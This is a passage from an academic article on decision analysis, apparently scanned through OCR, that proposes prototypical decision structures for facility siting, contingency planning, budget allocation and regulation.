presently considered for further applications in emission tandard setting and an extension to safety standards will be explored. Towards a kit of prototypical decision analytical structures Not every decision analysis can afford to be as broad and time consuming as the previous study. Decision analysis usually has a much more specific orientation towards producing a decision rather than developing a generic structure. Still I think that it would be helpful i f analysts were to make an effort in addressing the question of generalizability when modeling a specific problem, and in extracting those features of the problem and the model that are transferable. Such an inductive pproach could be coupled with more research oriented efforts and with examinations of similarities among past applications. Such an approach may eventually fill the middleground between too specific and too general models and structures. But rather than filling this middleground with analytically specific but substantively empty structures and models, it would be filled with prototypical structures and models such as the above regulation model, more refined signal detection models, siting models, etc. In the following, four typical classes of decision problems (siting, contingency planning, budget allocation, and regulation) are examined nd requirements for prototypical structures for these problems are discussed. Facility siting clearly is a typical decision problem. Keeney and other decision analysts have investigated this problem in much detail and in a variety of contexts (see the examples in Keeney and Raiffa 1976). A typical aspect of such siting problems is sequential screening from candidate areas to possible sites, to a preferred set, to final site specific evaluations. Another aspect is the multiobjective nature with emphasis on generic classes of objectives: investment and operating cost, economic benefits, environmental impacts, social impacts, and political onsiderations. Also, the process of organizing, collecting, and evaluating information is similar in many siting decisions. Thus, it should be possible to develop a prototypical structure for facility siting decisions, 90 D. von Winterfeldt /Structuring decision problems simply by assembling the generalizable features of past applications [ 31. Contingency planning is another recurring and typical problem. Decision and Design Inc. addressed this problem in the military context, bu t it also applies to planning for actions in the case of disasters such as Liquid Natural Gas plant explosions or blowouts from oil platforms. Substantive aspects that are characteristic of contingency planning are: strong central control of executive organs, numerous decisions have to be made simultaneously, major events can drastically change the focus of the problem, no cost or low cost information comes in rapidly, and organizational problems may impede information flows and actions. Although, at first glance, decision trees seem to be a natural model for contingency planning, a prototypical decision model would require modifying a strictly sequential approach to accommodate these aspects. For example, the model should be flexible enough to allow for the ‘unforeseeable’ (rapid capacity to change the model structure), it should have rapid information updating facilities without overstressing the value of information (since most information is free), and it should attend to fine tuning of simultaneous actions and information interlinkages. Budget allocation to competing programs is another typical problem. In many such problems different programs attempt to pursue similar objectives, and program mix and balance has to be considered besides the direct benefits of single programs. Another characteristic of budgeting decisions is the continuous nature of the decision variable and the constraint of the total budget. MAU looks like a natural structure for budget allocation decision since it can handle the program evaluation aspect (see Edwards et al. 1976). But neither the balance issue nor the constrained and continuous characteristics of the budget are appropriately adressed by MAU. A prototypical decision analytic structure would model an evaluation of the budget apportionment, or the mix of programs funded at particular levels. Such a structure would perhaps exploit dependencies or independencies among programs much like independence assumption for preferences. Regulation covers a class of decision problems with a number of recurrent themes: three generic groups involved (regulators, regulated, [,3] I believe that. Keeney’s forthcoming book on siting energy facilities is a major step in that direction. Of. course, it could also be a step in the opposite direction. Or in no direction at all (see also first asterisked footnote at the beginning of the article). D. von Winterfeldt /Structuring decision problems 91 beneficiaries of regulation), importance f monitoring and sanction schemes, usually opposing objectives of the regulated and the benefrciaries of regulation, and typically highly political objectives of the regulator. In the previous section, the more specific regulation problem of standard setting was discussed, and a prototypical decision analytic structure was suggested. A decision analytic structure for regulation in general can build on the main features of the standard setting model. This list could be extended to include private investment decisions, product mix selection, resource development, diagnostic problems, etc. But the four examples hopefully re sufficient to demonstrate how prototypical decision analytic structuring can be approached in general. In my opinion, such an approach to structuring could be at least as useful for the implementation of decision analysis as computerization of decision models. Besides the technical advantages of trahsferability, prototypical decision analytic structures would serve to show that decision analysts are truly concerned about problems. Today decision analysis books have chapters such as ‘simple decisions under uncertainty’ and ‘multiattribute evaluation problems’. I am looking forward to chapters such as ‘siting industrial acilities’, ‘pollution control management’, an d ‘contingency planning’. References Brown, R. V. and J. W. Ulvila, 1977. Selecting analytic approaches for decision situations. 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